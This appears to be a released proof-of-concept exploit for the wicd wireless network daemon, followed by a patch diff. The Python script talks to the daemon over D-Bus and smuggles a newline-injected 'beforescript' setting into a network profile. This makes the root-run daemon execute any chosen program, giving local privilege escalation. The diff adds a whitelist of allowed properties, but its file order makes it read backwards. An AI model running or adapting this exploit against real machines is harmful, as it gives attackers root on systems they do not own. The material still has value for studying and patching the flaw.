==========================================
EXPLOIT:
#!/usr/bin/python
#wicd 0day exploit discovered on 4.9.12 by InfoSec Institute student
#For full write up and description go to http://www.infosecinstitute.com/courses/ethical_hacking_training.html
import sys
import os
import time
import getopt
try: from wicd import dbusmanager
except: print "[!] WICD Error: libraries are not available. Is WICD installed?"; sys.exit(0)
class Error(Exception):
def __init__(self, error):
self.errorStr=error
def __str__(self):
return repr(self.errorStr)
class Wicd():
wireless=None
daemon=None
versionString=None
def __init__(self):
try:
dbusmanager.connect_to_dbus()
dbusInterfaces = dbusmanager.get_dbus_ifaces()
self.wireless = dbusInterfaces["wireless"]
self.daemon = dbusInterfaces["daemon"]
except:
raise Error("Daemon is not running")
self.versionString = self.daemon.Hello()
def versionLessThan(self, version):
if int(self.versionString.replace(".",""))<=version:
return True
else:
return False
class Exploit():
def __init__(self, wicd, scriptPath):
self.wicd = wicd
self.scriptPath = scriptPath
def getNets(self):
self.wicd.wireless.Scan(True)
nets = self.wicd.wireless.GetNumberOfNetworks()
while nets < 1:
self.wicd.wireless.Scan(True)
nets = self.wicd.wireless.GetNumberOfNetworks()
for net in range(nets):
yield net
def exploit(self):
for net in self.getNets(): pass # Priming scan.
try:
self.wicd.wireless.SetWirelessProperty(0, "beforescript = "+ self.scriptPath +"\nrooted", "true")
except:
raise Error("Unable to exploit (SetWirelessProperty() failed.)")
try:
self.wicd.wireless.SaveWirelessNetworkProperty(0, "beforescript = "+ self.scriptPath +"\nrooted")
except:
raise Error("Unable to exploit (SetWirelessProperty() failed.)")
propertyKey = 'bssid' # Could be essid, or any other identifiable wireless property
vulnIdentifier = self.wicd.wireless.GetWirelessProperty(0, propertyKey)
# TODO: Does this need a try construct?
self.wicd.wireless.ReloadConfig()
for net in self.getNets(): # Implicit, but required re-scan.
if self.wicd.wireless.GetWirelessProperty(net, propertyKey) == vulnIdentifier:
self.wicd.wireless.ConnectWireless(net)
return True
raise Error("Unable to exploit (Lost the network we were using)")
def usage():
print "[!] Usage:"
print " ( -h, --help ):"
print " Print this message."
print " ( --scriptPath= ): Required, executable to run as root."
print " --scriptPath=/some/path/to/executable.sh"
def main():
print "[$] WICD =< 1.7.0Day"
try:
opts, args = getopt.getopt(sys.argv[1:], "h", ["help", "scriptPath="])
except getopt.GetoptError, err:
# Print help information and exit:
print '[!] Parameter error:' + str(err) # Will print something like "option -a not recognized"
usage()
sys.exit(0)
scriptPath=None
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit(0)
elif opt =="--scriptPath":
scriptPath=arg
else:
# I would be assuming to say we'll never get here.
print "[!] Parameter error."
usage()
sys.exit(0)
if not scriptPath:
print "[!] Parameter error: scriptPath not set."
usage()
sys.exit(0)
try:
wicd = Wicd()
except Error as error:
print "[!] WICD Error: %s" % (error.errorStr)
exit(0)
print "[*] WICD Connection Initialized! (Version: %s)" % (wicd.versionString)
if not wicd.versionLessThan(171):
print "[!] WICD Warning: version print exceeds 1.7.1: Trying anyhow."
exploit = Exploit(wicd, scriptPath)
print "[*] Attempting to exploit:"
try:
exploit.exploit()
except Error as error:
print "[!] Exploit Error: %s" % (error.errorStr)
exit(0)
print "[*] Exploit appears to have worked."
# Standard boilerplate to call the main() function to begin
# the program.
if __name__=='__main__':
main()
==========================================
PATCH:
- --- _wicd-daemon.py 2012-04-09 16:31:19.000000000 -0400
+++ wicd-daemon.py 2012-02-02 11:38:26.000000000 -0500
@@ -945,30 +945,6 @@
self._scanning = False
self.LastScan = []
self.config = ConfigManager(wireless_conf, debug=debug)
- -
- - #Using a dict to avoid repitition.
- - self._validProperties = {
- - 'bssid':None,
- - "essid":None,
- - "hidden":None,
- - "channel":None,
- - "mode":None,
- - "enctype":None,
- - "encryption_method":None,
- - "key":None,
- - "automatic":None,
- - "ip":None,
- - "netmask":None,
- - "broadcast":None,
- - "gateway":None,
- - "use_static_dns":None,
- - "use_global_dns":None,
- - "dns1":None,
- - "dns2":None,
- - "dns3":None,
- - "use_settings_globally":None,
- - "has_profile":None
- -}
def get_debug_mode(self):
return self._debug_mode
@@ -1088,7 +1064,7 @@
def SetWirelessProperty(self, netid, prop, value):
""" Sets property to value in network specified. """
# We don't write script settings here.
- - if (prop.strip() not in self._validProperties):
+ if (prop.strip()).endswith("script"):
print "Setting script properties through the daemon is not" \
+ " permitted."
return False
